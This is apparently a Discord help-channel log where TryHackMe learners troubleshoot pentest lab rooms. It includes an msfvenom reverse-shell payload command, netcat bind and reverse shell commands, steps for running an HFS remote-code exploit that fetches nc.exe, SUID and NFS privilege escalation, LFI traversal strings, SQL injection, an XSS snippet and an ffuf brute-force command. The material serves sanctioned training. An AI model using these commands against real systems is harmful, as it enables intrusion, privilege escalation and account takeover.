Sorry dude, am I supposed to see the results of the ffuf in the terminal? because when I do the brute force part that comes after Username Enumeration, I only get the ffuf logo, the details of the attack (method, url etc) and some lines about the progress and if there were any errors. When I try to save the output in a txt file I get some random JSON code. I don't understant if the actual result should appear on the terminal (which doesn't) or am I missing something

[prisma raptor]

You aren't supposed to pipe the output of ffuf into the valid_usernames.txt as the output will be wonky and won't be usable for the next step.

[prisma raptor]

Its very helpful for teaching the concepts, but I don't think going too deep into each layer will be necessary IMHO. Further, the TCP/IP model is used in practice.

[stoic python]

It suggests to pipe it in the section though?

[prisma raptor]

It does? It says otherwise in Task 3?

[stoic python]

Your right it does, im tripping wtf was looking at this at midnight

could of sworn it suggested to pipe over just typing but your right it says otherwise

[prisma raptor]

Technically, you can still use output, but you'll need to script or equivalent to clean the output.

[stoic python]

Anyone able to give some insight how to solve the challenges in the file inclusion room had a little google and it was saying to use something like the burp suite but that is later on in the jr pentester course or am I missing something

[remote iris]

You can use burpsuite, or you can use the URL.

Just append the website URL

Burp just makes it easier.

[stoic python]

okay i can just modify the url and get the same output

[remote iris]

Yeah 🙂

[stoic python]

okay never used it so was like a little bit confused why i got suggested to use it when ive not even covered it yet and its later in the course

thank you though will try and nail it

[magic girder]

Why did Challenge 3 in the fileinc room work with curl but not when changing to post on the network tab?

[slim stratus]

Hi I am on linux privilege escalation. why is this suid vulnerable when i am not the root user and only the root user has the 's' permission

1722 44 -rwsr-xr-x 1 root root 43352 Sep 5 2019 /usr/bin/base64

[ornate comet]

it allows users who execute the file to temporarily assume the privileges of the file's owner

In that case the owner is root

[slim stratus]

so even when the permission 'rws' is for the owner of the file the s allows a normal user to assume privilege of owner? I am a bit confused. Cause others only have execute permission not the 's' permission

[ornate comet]

So you can use that to encode file owner by root (ex: /root/root.txt) you can use /usr/bin/base64 /root/root.txt | base64 —decode

[slim stratus]

okay, thanks

[dense tide]

Can anybody help me out? im at the https://tryhackme.com/r/room/walkinganapplication room and after i paused the line 110 i dont get the flag after refreshing this page? im in task 5 actualy

[livid flicker]

How is that: "Vulnerability Capstone" is marked as "easy" but it is actually not that easy since you have to change a lot in the script and also make it fit to work with python3. So the room needs a better instruction.

[prisma raptor]

There is a criteria that THM uses in assigning room difficulty. Also, understanding and changing code is a nice skills to have.

[livid flicker]

Well some stuffs are marked as "Medium" but are "easy" and others are "easy" but actually should be at least medium.

But yeah getting a code-understading is kinda nice to have but I just get confused when it says: Do the steps as previous but they are not as previous lol.

Specially when you have to search for all the issues because python3 and python2 work different. 😄

[vague wasp]

can someone please help me with RFI?

[ornate comet]

what your problem ?

You can serve your payload or revshell using python http.server and use that to gain access

[oak lava]

burp suite other modules task 7

after Sending to Sequencer can't pick the form field

programme cannot see the token

[ornate comet]

Follow the instructions step by step carefully

[oak lava]

active recdnnaissance task 5 when i use telnet on port 80 it doesnt work

[prisma raptor]

Are you on the Attackbox or your own attack machine?

[oak lava]

i fixed it

thanks

[crimson mural]

Doing the Burp Suite: Other Modules room, on task 8. I capture the request for admin/login in the proxy and send it to sequencer, however its looking for loginToken in the response, not the request, and the 302 redirect you receive from the server only has a session cookie, not the loginToken. Not sure how to proceed here.

[past lichen]

Have you made sure that you sent the Request (and not the Response) to the Sequencer from the Proxy ? I also made the mistake of sending the Response instead of the Request by right-clicking the wrong area.

[ocean bay]

Hi! in the file inclusion room, in the Local File Inclusion part, I'm having trouble to understand the second question. I found the result elsewhere but I just don't get why I don't find the name of the directory using the labs. From what I understand, I should be able to find the directory by searching index.php?lang=../../ since lang should be in languages/ right? but when I try it on the labs I see the error message showing the function include() which sends you to the directory function.include, so I tried index.php?lang=../function.include ... what am I missing? I don't understand

[crimson mural]

I did, yes. I did end up getting it to work, but with some trickery - I sent it to intruder first, used auto to add section marks, and then sent it to sequencer, and then it worked. It was weird.

[crimson mural]

Hey yall. Metasploit exploitation room, task 6, question 4. We made our .elf, we put it on the victim machine using wget, we chmod'd it so it can execute, we execute..... and keep getting a segmentation fault. -_-

Admittedly I just used the metasploit payload fromt he example, am I supposed to be doing something different?

I figured I'd still use meterpreter so I could make dumping the hashes easier for the other questions in the task

[rotund jewel]

What was the code you used to create the .elf file? Check you put it in the correct directory.

[crimson mural]

I just used the command from the example further up in the room: "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={MY IP HERE} LPORT=4444 -f elf > shell.elf"

After wget and chmod I was executing it from the target's home directory - I didn't think that made a difference.

It was phoning home but closing immediately - the listener was telling me the connection was closing, and the segmentation fault error was on the target machine

[prisma raptor]

1. Did you check if the target's architecture is x86 or x64?

2. Did you setup the multi/handler module and set the corresponding payload it expects to receive (as meterpreter payloads can only be received by the multi/handler module)?

[crimson mural]

Oooooo yes to 2, no to 1. I bet I messed that up. Thanks!

[crimson mural]

That did it. Thank you for the nudge in the right direction!

[vivid jetty]

I finished this learning path today! Super excited, since it's my first intermediate path.

Any suggestions for Learning paths to explore next?

[brisk turtle]

I would suggest to explore next Red Team and Offensive Pentest (for practice)

[prisma raptor]

#878393611929129000 message

[vivid jetty]

Awesome! I've been dabbling in Red Team and CompTIA PenTest+ a little bit. I'll check out Offensive Pentest too

[vivid jetty]

Ah, thank you!

[next lance]

Gave +1 Rep to @prisma raptor (current: #13 - 512)

[rotund jewel]

Sorry for late response left for vacation next morning. 🤣 Congrats on getting it to work.

[rotund jewel]

Congrats ! Offensive path my favorite. I recommend the search also don't miss out on the rooms not in Pathways.

[south tide]

Authentication Bypass Room with the each task, we use a tool called CURL. Is this tool the best way to be able to test communication with a website that you want to pentest?

I understand ffuf is a great tool but curl basically enables us to communicate in a linux termnial?

[prisma raptor]

There should be other ways, but that will depend on what is it you exactly wanted to do. From my understanding, the room used cURL to better demonstrate how we are manipulating the request to the target website.

[south tide]

Got it, Thank you!

[minor wigeon]

Need help with JR Pen Test room Authentication Bypass task2 having some technical difficulties, linux commands are executing but no output

[prisma raptor]

Can you post a screenshot of the issue you are having so we can better assist you? You'll need to verify your account to do so.

[ashen moss]

@minor wigeon

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Apr 23, 2024, 3:25 AM

[hallow mantle]

Could someone help me? I am stuck on File Inclusion Lab - Task 8; Capture flag2 at /etc/flag2:

[neon geyser]

Looks like the .php is automatically added. Might have figure a way to not have it add .php. null byte?

[fleet gate]

I tried practicing subdomain enumeration room task 4 but when i run this dns recon like it shown on the task it does not choosing the default namelist.txt on the dns recon tool for bruting the directories/subdomains on the domain
it showing no valid directories or specified or found within the tool ( i cross checked on the dnsrecon directory and could see the namelist , i dont know why its not equiping the namelist file for bruting)

in my vm machine

[prisma raptor]

What is the exact command that you ran?

[worthy walrus]

gg @lost robin

[prisma raptor]

Just checked the man page and -d refers to domain and -D refers to dictionary. Have you tried supplying a dictionary file?

[fleet gate]

nope, but in thm SubDomain Enumeration room task 4 the shown site view does not provided any dictionary file in specific , the dns recon tooks the default wordlist in its directory called namelist.txt and i checked in my machine's tool the recon namelist.txt is available though but its not taking it as wordlist like in the site

[prisma raptor]

How did you install dnsrecon or is it the one that come preinstalled (haven't used the tool yet)?

[fleet gate]

its on default kali, iam practicing this like shown in thm

[fleet gate]

btw why cant i access acmeitsupport.thm with its dns? i can able to get to the website only using the ip address not via the dns on attack box , need this for accessing the subdomain on the site that is enumerated on the tasks.........

[radiant pier]

Please I need help capturing flag3 for Local File Inclusion.

[fleet gate]

Refer the walkthrough blogs

[radiant pier]

Thank you let me go check it out

[next lance]

Gave +1 Rep to @fleet gate (current: #2066 - 1)

[radiant pier]

@fleet gate can you send a link pointing to your reference what I came across isn’t looking significant

[radiant pier]

I’ve done everything but the issue is the .php keeps being appended. I added the null byte but to no avail

[fleet gate]

it will be good if you send ss with detailed context and which task you are facing this in the room

[radiant pier]

Task 8, challenge 3

[fleet gate]

there are several walkthrough's i might see , did you checked this out? i cant send the links since it violate the rules

[radiant pier]

No I didn’t let me check them out

[fleet gate]

how can i find this keyword from the website server content , i mean when we sign up with an already existed account this keyword will show up right? so the fuff knows it already existed and marks the username for result. But in the website response content for the form i cant able to see this keyword ,it only shown up as username already existed with this account as in the html content.So how does the fuff knows this keyword? it simply looks through the response content from the server (in here html )and see if there is any match of the keyword we mentioned?

iam sorry for complicating this. To ask in summary how the fuff search for this keyword we mentioned in -mr flag in the website response?

will it look through all the html element content in the response?

[prisma raptor]

What do you mean its not in the response? It was highlighted in the 2nd image?

[prisma raptor]

It was looking at the website response as you added a filter in your ffuf command, which is -mr (match regex).

[fleet gate]

okay, cool. Now i understand

[fleet gate]

thank you

[next lance]

Gave +1 Rep to @prisma raptor (current: #13 - 530)

[sly lagoon]

Set the domain name in your hosts file

[mystic shore]

Be cautious with loading huge lists, as it may cause Burp to crash. out of curiosity. How huge is huge?

[mystic shore]

140 mb

[rustic thicket]

At the end of 'What the Shell' I'm trying to RDP into the windows server I added a user to, and then added that user to administrators group, but I keep getting errors.

Connecting using xfreerdp from attack box I get the below error after it shows it connects:

connected to 10.10.68.78:3389
SSL_read: I/O error: Connection reset by peer (104)

Found the answer, I had to add the user to the RDP group:
net localgroup "Remote Desktop Users" <username> /add

[steep lynx]

Room: Steel Mountain
Connection: via Attackbox
Does nc.exe only points to port 80? What if I specify my web server to other port? How can I point the nc.exe on other port?

I am using attackbox and port 80 can't be used for webserver. If I used a custom port for my webserver, how do I make nc.exe to point to my custom webserver port?

[prisma raptor]

You may have to edit the script to reflect the same. However, I wasn't able to make it work, but others might have. Let's wait for them to chime in.

[rustic thicket]

I'm not in the steel mountain room, but I just uploaded a nc.exe to a windows machine in the what the shell room.

All you should have to do is provide the port number after the IP:

nc 10.10.10.10 12345

If that doesn't work, and it's some kind of script, let me know and I'll take a look at the steel mountain room

[willow glacier]

I got a question about using the gtfo bins python rev shell. The command "socat ..." is ran on the attacking machine, and the following code has to be executed on the victim as a bash script? Is that correct?

https://gtfobins.github.io/gtfobins/python/

[prisma raptor]

Did you use the Attackbox on it as well?

[prisma raptor]

Haven't tried this one yet, but it seems so. Will try it when I get the chance and let you know.

[rustic thicket]

No, I use a kali vm. But if you are using nc.exe it is supposed to be ran on a windows machine, that's what .exe files are for.

The command syntax for nc.exe is the same as nc binaries (linux nc command).

If you are connecting to a windows machine running nc.exe from the attack box this is what you run:

1. Have to upload nc.exe to windows machine.

2. Run this command on windows server to start nc as listener:

   nc.exe -lvnp 12345 -e cmd.exe

3. Run this command from Kali to connect to target running the listener:

nc <ip> <port>

That's a bind shell above.

Let me test a reverse shell for nc.exe on a windows machine to verify the exact commands

[prisma raptor]

Just to add context, the challenge in here is modifying the script / exploit so that it would fetch ng nc.exe binary in a custom port. However, even when updating it (i.e., adding the port number and encoding the additional characters), it doesn't pick up the nc.exe binary in the custom port.

Also, the -e flag only works on certain nc versions so you'll have to check which one to use.

[rustic thicket]

I'll take a look, been awhile since I did that room, but you should post about it in #offensive-pentesting-path because that room is in that path

You're on task 4?

You're not updating the nc at all. You're updating this exploit (https://www.exploit-db.com/exploits/39161) with the target ip and port.

It says under 'EDB Note' : You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).

You're using the exploit to copy nc.exe to the victim machine

[prisma raptor]

Yes, you don't have to update the nc. @steep lynx was referring to that note there as the Attackbox uses port 80 and you should host the nc binary in that port. When I tried modifying the exploit to host nc on a non-standard port, it didn't fetch the nc binary in the non-standard port even when hosted in a python3 http.server.

[rustic thicket]

Overall:

1. You are running the exploit from the attack box with this command:

python Exploit.py <Target IP address> <Target Port Number>

2. Before running that command above you need to be hosting a webserver from your attack box:

sudo python3 -m http.server 80

3. You need to be root to access ports below 1024, also, make sure you run that 'python3 -m http.server 80' from the directory that has nc.exe

I don't see anything saying you need to update the exploit.

If you did this is what you would update:

ip_addr = "192.168.44.128" #local IP address
local_port = "443" # Local Port number

Yeah, put your attack box IP and local_port as '80'

Don't forgot to change the Local IP address and Port number on the script"""

Says to do it in the error message at bottom of exploit

the exploit comes with a script to pull the 'nc.exe' file from the webserver you are hosting with this line
vbs = "C:\Users\Public\script.vbs| ......

[prisma raptor]

Try it on the Attackbox and you'll see. 😀

[rustic thicket]

---

full steps

1. Edit exploit lines below with your attack machine IP and port you are using '80':

   ip_addr = "192.168.44.128" #local IP address
   local_port = "443" # Local Port number

2. Have nc.exe in your current working directory

3. run command to launch web server:

   sudo python3 -m http.server 80

4. In separate terminal, continually run the exploit, once to download nc.exe, again to make the reverse shell happen.

python Exploit.py <Target IP address> <Target Port Number>

5. It's making the reverse shell with the same port as the web server with the below line, I'm guessing it will just turn your terminal hosting the webserver into a reverse shell, as you can't listen on that same port that is hosting the webserver.

   vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port

So, keep running the command in step 4 until it works. Wait 15 seconds between commands when you run it.

I'll try it tonight. Have to log off shortly.

[rustic thicket]

The exploit that they link in the room has a bug.

Use this exploit: https://github.com/mrintern/thm_steelmountain_CVE-2014-6287/blob/main/http_fs_exploit.py

Follow the steps I listed above using that exploit. Once you run it once you'll see this:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.215.228 - - [10/May/2024 19:59:56] "GET /nc.exe HTTP/1.1" 200 -
10.10.215.228 - - [10/May/2024 19:59:56] "GET /nc.exe HTTP/1.1" 200 -
10.10.215.228 - - [10/May/2024 19:59:56] "GET /nc.exe HTTP/1.1" 200 -
10.10.215.228 - - [10/May/2024 19:59:56] "GET /nc.exe HTTP/1.1" 200 -
10.10.215.228 - - [10/May/2024 19:59:59] code 400, message Bad request version ('6.3.9600]')
10.10.215.228 - - [10/May/2024 19:59:59] "Microsoft Windows [Version 6.3.9600]" 400 -
10.10.215.228 - - [10/May/2024 19:59:59] code 400, message Bad request version ('6.3.9600]')
10.10.215.228 - - [10/May/2024 19:59:59] code 400, message Bad request version ('6.3.9600]')

You'll keep seeing 'code 400, message Bad request. That means it got the nc.exe. Kill the webserver and run 'nc' from your attack box.

sudo nc -nlvp 80

Run the exploit again and you'll get in.

I just got in with it. That exploit they link throws a syntax error every time I tried to run it so there is definitely something wrong with it, but the exploit on that github page worked fine.

@prisma raptor I got in, see my explanation above. The exploit they link from THM has a bug, I provided a link to a working exploit.

[rustic thicket]

@prisma raptor This link explains the port 80 situation. I had it left open from last night and read it before I closed it. Apparently the attack box uses port 80 for your connection to it, so you have to host the webserver and do the reverse shell to a different port. 1234 is a basic one to use

https://www.reddit.com/r/tryhackme/comments/rttbse/attackbox_steel_mountain_task_4_python_39161py/

[remote iris]

no apparently about it, Attackbox does use port 80.

[prisma raptor]

I was able to do the room without issues as I was using my own VM. It was actually for FryBait and not me. 😅

[onyx lichen]

Hello, can someone help me understand how the SSRF request went through in the room: ssrfqi ?

Task 5: We have to replace one of the avatar selection form item's value with x/../private in order to bypass denylist and access the /private URL

Now I understand that we're tricking the target server by making it seem like the server host is actually sending the request to /private and not from our own computer.

And that we can use tricks like using localhost or similar alternative names to get the server reference

What I don't understand is how x/ is being resolved? Is it just getting ignored in this case? I don't think there is any endpoint /x on the server so I'm confused

If you have any explanation as to how this ssrf attack worked 🙏

[prisma raptor]

#junior-pentester-path message

[fallow storm]

Is it just me, or is the "Privilege Escalation: Capabilities" section of the "Linux Privilege Escalation" room very confusing? It very briefly mentions what capabilities are without really saying much. Would have been nice with some explanation about what cap_setuid does and why it can be exploited.
EDIT: Figured it all out in the end, but the task could have benefited from some better explanation.

[prisma raptor]

Maybe this could help -
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

[solemn rapids]

hi i'm new to tryhackme and struggling with the room "walking an application". I am looking for a directory flag in 'viewing the page source' but dont get the instructions at all.

in the instructions it says I should notice all the external files (css and javascript) are in the same directory. Im not sure what they are refering to or how to view directories from the source code. Thank you for any help!!

[remote iris]

Look in the source, there is a secret link.

[solemn rapids]

okay I clicked on every link, one of them took me to the second answer. But still not able to find the third answer about directories

[remote iris]

Ah! That one.

Use a directory browser or burp to site map

[solemn rapids]

okay awesome, can you explain what either of those are? sorry thank you again so much 🙏

[next lance]

Gave +1 Rep to @remote iris (current: #1 - 2276)

[remote iris]

Burpsuite is a useful Web app pentest tool.

And directory browser hit a website with a dictionary to look for other webpages

Gobuster, ffuf.

[unborn hazel]

Hi all!

I am ~40% through the path. Now I wonder if it makes sense to start to practice on some easy machines and which ones are good for starters, like me. Are there any machines that complement the path?
Or would you advise to finish the path first and start practicing afterwards?

Thanks in advance!

[remote iris]

Finish the path. There is ctf's at the end that will focus on what you learned.

[unborn hazel]

Allrighty! Thanks 🙂

[next lance]

Gave +1 Rep to @remote iris (current: #1 - 2288)

[crimson citrus]

One question, is there not a little error. Doesnt this only whitelist the numbers from 0-9 without dots? How are you supposed to ping an IP without dots ?

,,The application will only accept a specific pattern of characters (the digits 0-9)
The application will then only proceed to execute this data which is all numerical.,,

[patent dome]

The pattern on the picture matches/allows any combination of the digits 0-9 with a minimum of one digit. It doesn't match IP addresses.

But since the text says that as well, I assume whoever wrote it is aware of that. Doesn't make much sense in combination with ping, but maybe that's intended, I don't know.

[crimson citrus]

👍

thx

[crimson citrus]

probably only for demonstrational purpose

[rustic thicket]

This is probably way out of scope, but when doing Linux Privilege Escalation room Task 11 - Privilege Escalation: NFS. The compiled C binary would not execute on the victim machine if I compiled it on my Kali machine, but it would if I compiled it on the Attack Box.

The error "./rootShell.out: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./rootShell.out)" seems to indicate a library was missing on the victim required to run it, but the exact same code compiled on the attack box works. I compiled them both with gcc.

Can anyone explain why? And a workaround so I can get a C binary compiled on Kalie to work?

[patent dome]

Have you compared the versions of gcc on your kali machine and the attackbox? That could be a first indicator. gcc --version

[rustic thicket]

Kali's version: gcc (Debian 13.2.0-23) 13.2.0
Attack boss version: gcc (Ubuntu 9.4.0-1ubuntu1~18.04) 9.4.0

I think the victim machine is Ubuntu. Maybe that' sit

[patent dome]

Pretty sure it's the version difference.

[rustic thicket]

Yeah, that must be it. Thanks!

[patent dome]

Altough i wonder if it shouldnt be backwards compatiable. And you said it doesnt work when compiling with the higher version gcc

[patent dome]

This ldd --version | head -n1 should give you the glibc version on each machine

[rustic thicket]

This is using the victim from the next task, but I'd imagine it would be the same version. Also, the command wouldn't work when I ran it in tmux on kali, it just hung and ctrl-c wouldn't even kill it. Had to kill the pane. Which was weird:

victim: ldd (GNU libc) 2.17
kali: ldd (Debian GLIBC 2.37-15) 2.37
attack box: ldd (Ubuntu GLIBC 2.27-3ubuntu1.6) 2.27

I know ubuntu is closely related to Debian, so I didn't think that would cause the problem

[prisma raptor]

You could add the flag -static when compiling your binary so it won't have dependency issues.

[rustic thicket]

I'll try that real quick

[prisma raptor]

Another way to solve this is described here - #room-help message

[rustic thicket]

it worked. Thanks!

[distant marlin]

Good morning everyone. Could someone provide me with a solution to File Inclusion Module, Task 8 (Challenge) > question 3. It would be even better if someone could explain the hint provided in the question. Thanks in advance.

[sacred moss]

Hello, could someone advice why the flag is not accepted? I'm working on "Walking An Application" Task 3 Q4 "What is the framework flag?" I've worked out the hints and accessed the page: http://10-10-86-74.p.thmlabs.com/thm-framework-login I've got a flag there but it doesn't seem to be accepted by the system. Let me know if I need to provide any additional information.

[patent dome]

The flag you tried would be a good start.

You can put text between double pipe symbols to turn it into a ||spoiler||

[sacred moss]

||THM{CHANGE_DEFAULT_CREDENTIALS}||

I think I figured it out. I was looking at the wrong flag for this question. :S

[cyan needle]

Hello, in the SQLi room I am facing the same SQL error message over and over even if I change the SQL request. Why is that?

[patent dome]

Could sharing the error message and the sql query that causes it potentially help narrow down the issue?

[ashen moss]

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jun 6, 2024, 4:43 PM

[cyan needle]

my url: https://website.thm/article?id=1 UNION SELECT 1, 2, 3;

error msg: 
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT 1, 2, 3' at line 1

[neon geyser]

Are you using spaces between 1,2,database() ?

[cyan needle]

I tried both

[neon geyser]

Try copy and pasting the exact query they provide.

[cyan needle]

I tried before and now it's working... sorry for that unnecessary noise... and thank you

[patent dome]

Computers sometimes are mysterious

[sour nymph]

I just finished the nfs task in the linux privilege escalation room, and I don't understand why using nfs is necessary. If the script can simply set the uid to root couldn't I do it manually without any need for file sharing?

[prisma raptor]

As I understand it, the vulnerability we are exploiting in the case is the misconfiguration in how the share was created thus allowing the attacker or us to create a binary and run it in the context of a privileged user (root in this case). Strictly speaking, you could compile the exploit using the low privileged or regular user, but you wouldn't be able to escalate your privileges to root without leveraging the said vulnerability.

[last cloud]

Hi! I have a question regarding the following text in the Stored XSS room:
"A blog website that allows users to post comments. Unfortunately, these comments aren't checked for whether they contain JavaScript or filter out any malicious code. If we now post a comment containing JavaScript, this will be stored in the database, and every other user now visiting the article will have the JavaScript run in their browser."

I dont quite get how the code would be executed. If i made a comment containing JS-code and it would be sent and stored in a database it would probably be stored as a string or something. Why would it be executed when a user fetches this data?

[patent dome]

Let's say the website's html source has a paragraph

<p></p>

When the server dynamically creates the page it puts a user's comment between those tags. If the user now makes a comment like

<script>console.log('xss')</script>

which first gets stored in a database and retrieved whenever someone visits the comments section, what ends up in the html source now is:

<p><script>console.log('xss')</script></p>

And the JavaScript gets executed by the browser as if the developer had put it there originally.

Regarding your "it's just a string": Yes, but all the source code of a website, whether it's html, css or JavaScript is "just a string", all just text. Text which then gets interpreted by the browser.

[last cloud]

Okey, i get it now :)! thanks for a great reply!

[next lance]

Gave +1 Rep to @patent dome (current: #79 - 79)

[sour nymph]

@prisma raptor But what is the misconfiguration?

[patent dome]

The no_root_squash opting being on/enabled on the NFS server. https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/4/html/security_guide/s2-server-nfs-noroot

[sour nymph]

@patent dome I see, thank you.

[next lance]

Gave +1 Rep to @patent dome (current: #73 - 84)

You're still on cooldown

You're still on cooldown

You're still on cooldown

Gave 1 Rep to inf0s3cw4nn4b3 (current: #11 - 577)

[distant marlin]

Hi !. I was facing a minor difficulty in the Vulnerabilities Capstone room in the Vulnerability Research module. Should the netcat listener be setup before or after running the exploit python file. If it should be run before, then how can I run the python file without terminating the listener ? Thanks

[patent dome]

What prevents you from doing both?

[distant marlin]

Sorry, I didn't understand what you are trying to say. Could you please elaborate ?

Should I upload pics from my AttackBox to make it more clear ?

[patent dome]

Ideally yes. I don't quite understand how running the netcat listener prevents you from running a python file in parallel.

[patent dome]

In order to share images here you need to verify.

[ashen moss]

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jun 17, 2024, 3:45 AM

[distant marlin]

So, does the listener continue to listen even after doing Ctrl+C ?

[patent dome]

No, but you can open as many terminals as you want.

And even tabs within one terminal.

[distant marlin]

Ohh I see. I will try it that way and let you know.

[patent dome]

You will very often have to have several terminals open at the same time.

[distant marlin]

Hi ! How to get past the problem highlighted in red? Module > Metasploit, Room > Metasploit: Exploitation

[remote iris]

Is the file where you're calling it?

[distant marlin]

I have no idea. I have not interacted with any file upto this point in the room

[distant marlin]

In this question ( Module > Metasploit, Room > Metasploit: Exploitation, Task > Task 5 ), since the session is created and that system has username as Jon, how do I identify as user "pirate" and then use the Metasploit WordList to get the password ? Thanks

[remote iris]

You don't have to,

search hashdump in metasploit

[distant marlin]

Ohh. Thanks for the help

[next lance]

Gave +1 Rep to @remote iris (current: #1 - 2431)

[midnight canopy]

Just finished the File Inclusion room and it was the first to really make my head spin... Took some help from external sources and a little bit of hand holding but I got it!

file inclusion is hard

[winter juniper]

You should go through it once again. I took notes along and found it easy

[winter juniper]

There will be a room dedicated to RCE in the path. It’s Command Injection I believe.

[prisma raptor]

I think the reason there is no RCE room is because it can be achieved in a number of ways such as file uploads, command injection, local file inclusion, etc.

[maiden dagger]

I am currently busy with the File Inclusion room,and ooof ,I started 2nd guessing my career choices 🤣

[prisma raptor]

Haven't done the room yet, but was pulling my hair in a challenge room I did which required an RCE via LFI. 😅 I'm still stuck in a couple of LFI challenge rooms, but its fun and frustrating at the same time. Planning to do the File Inclusion room soon myself.

[maiden dagger]

Did you do the Terminator room ? Nice way to see RFI in action

[prisma raptor]

I think.. if I have the correct room in mind. 😄

[maiden dagger]

Awesome, do you want to play KoTH ?

[prisma raptor]

Oh.. I'm not at that level yet. And haven't been able to touch THM much due to work. 😭

[ripe agate]

I am in the LFI room , and some of the solutions are not actually taught in the material at all, so........

[ripe agate]

i have done it all ,except RCE, how was i supposed to know || that i had to edit my username in cookies to be the entire file path?||

[ripe agate]

my thought process was ||Gain admin rights through cookies, then access file through the post request||

[ripe agate]

how do you mean?

i change guest to admin, in the cookie, then this shows up.

no error

[coral charm]

Hi senseis, I am stuck at LFI challenge 3 and wonder if anyone can give me a hand?
This is completely new to me. I have not learnt burp either.
What I have tried is changing the method from GET to POST in Inspector. And then I input in the form ../../../../etc/flag3%00. I got the warning message with symbols but not working...

[sage current]

what if they are badly filtering out ../ what can you change it too where it would still be turned into ../ after the filtering is done

[sage current]

try putting in a path in the cookie

[ripe agate]

I have passed flag 2, but the reasoning behind it isn't clear, or even explained in the course material.

[maiden dagger]

I finished the LFI room. I am doing the include room and I have been stuck for 2 days 🤣

[maiden dagger]

Do you need help ?

[coral charm]

Thanks so much for the offering man, allow me to give it another try based on sensei shadow_absorber, just got back from work lol

[next lance]

Gave +1 Rep to @maiden dagger (current: #2111 - 1)

[coral charm]

I got the warning message of "Warning: include(../../../../etc/flag3%00.php)", but I thought %00 should help filter out the ".php" and suppose to get the flag...

[sage current]

yes but that is just part of the filter there is a second part for that flag if shadow recalls correctly

[coral charm]

Thanks so much shadow sensei! I tried another method instead of simply playing around with the input form and it works. Kudos to you, thanks

[next lance]

Gave +1 Rep to @sage current (current: #4 - 1785)

[hollow narwhal]

im having a problem with the path is that i feel there's so much information, you finish with one thing and go to the next immidiately

eg once you're done the introduction to web hacking, you don't really review it all that much and you don't practice it so it isn't ingrained into memory i forgot everything...

is there something that I am missing? i have to redo the entire module and then I'm not sure what to do after

[ripe agate]

it get better with time, just jeep doing stuff. you can even reset progress ,and do it all again, maybe some of it will stick the 2nd or 3rd time you do it.

[sly adder]

Thats the point to do notes. You can't remember everything in the Rooms. Write it down and it gets better.

[winter juniper]

Take notes along with screenshots on the Notion App

Revise your notes every morning before starting a new room

[hollow narwhal]

yes but im talking the practical part

of actually doing things i struggle

[winter juniper]

You mean the attackboxes?

[hollow narwhal]

yes

[winter juniper]

I always link the writeups for the practical parts to my notes

Most rooms have writeups available on infosec or medium

[frozen solstice]

A lot of times you dont have to know everything. Sometimes it is enough that you heard about a topic and google it. In this path you should get a whole overview about the topic and use a few tools to get an understanding what they do. Don't learn the tools, learn the concepts behind - what they do and why! Tools will change, concepts stay the same (most of the time)

[sour nymph]

In the Windows Privilege Escalation room I can't move the reverse shell to the machine. It gives me the error "wget : Unable to connect to the remote server
At line:1 char:1

• wget http://10.10.119.198:8000/shell

•   + CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebR
   equest], WebException
    + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequ
   estCommand"

[prisma raptor]

Have you tried certutil.exe?

[sour nymph]

No. How do I use that?

[prisma raptor]

Have you tried to do a Google search on it?

[sly adder]

Have you tried with the file ending like http://<ip>:<port>shell.txt in ur wget command?

[sour nymph]

Well, I retried it yesterday and it worked without any errors.

[sly adder]

Perfect

[sour nymph]

In the Windows privilege escalation room I don't understand how these "dangerous" privileges allow privesc on the machine since most seem to be disabled.

[sage current]

hmmmm

[sage current]

you are running the command prompt as administrator

try running it as the normal user

[sour nymph]

The task says to run as administrator using the given credentials for each account, and the exploits do work. It's just that in the third screenshot for instance, it is indicated that both the SeBackup and SeRestore priveleges are disabled so how does it work?

[sage current]

you know.... shadow has no idea what is going on here so just gonna leave it to someone else to try and figure out

[sour nymph]

Okay. Thanks anyway.

[next lance]

Gave +1 Rep to @sage current (current: #4 - 1813)

[sage current]

only thing shadow could guess is running on your host instead of the target machine but that would not make any sense

[sour nymph]

For task 7 of windows privilege escalation the syntax of the exploit does not work after modification; It won't allow me to create an account with a password with net user or New-LocalUser and if I create one without a password I can't run cmd with that user because blank passwords are not allowed. I got the flag by making the command read the contents of flag.txt into a file accessible by thm-unpriv.

[rocky lava]

Hey guys, I'm having trouble using ffuf in the authentication bypass room, Task 3. https://tryhackme.com/r/room/authenticationbypass
When it gets up to the Brute force section it only ever tries 1 username (the 2nd listed in the file) across all the different passwords. Thus returning no result.
I've looked over the packets using networkminer and it only ever sends POST requests using the admin username (the 2nd username in my valid_usernames.txt) file.
First picture is the NetworkMiner results.
The second is the layout of my valid_usernames.txt file

This is the command im running too (It is run in the correct directory):

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.137.219/customers/login -fc 200

[prisma raptor]

Are you running this command on the same directory where you have the valid_usernames.txt?

[rocky lava]

Yeah I am

[prisma raptor]

And only the admin account is used and not the other ones?

[rocky lava]

yeah, it never tests for the other usernames

[rocky lava]

ok so i did some messing around with my txt file and i just overwrote what it had with the exact same content and it decided to work. I think it had something to do with me appending my ffuf results from the username enumeration into the file messing it up. Even after cleaning the data and retyping the entire document.

Thanks for your help nonetheless

[plush otter]

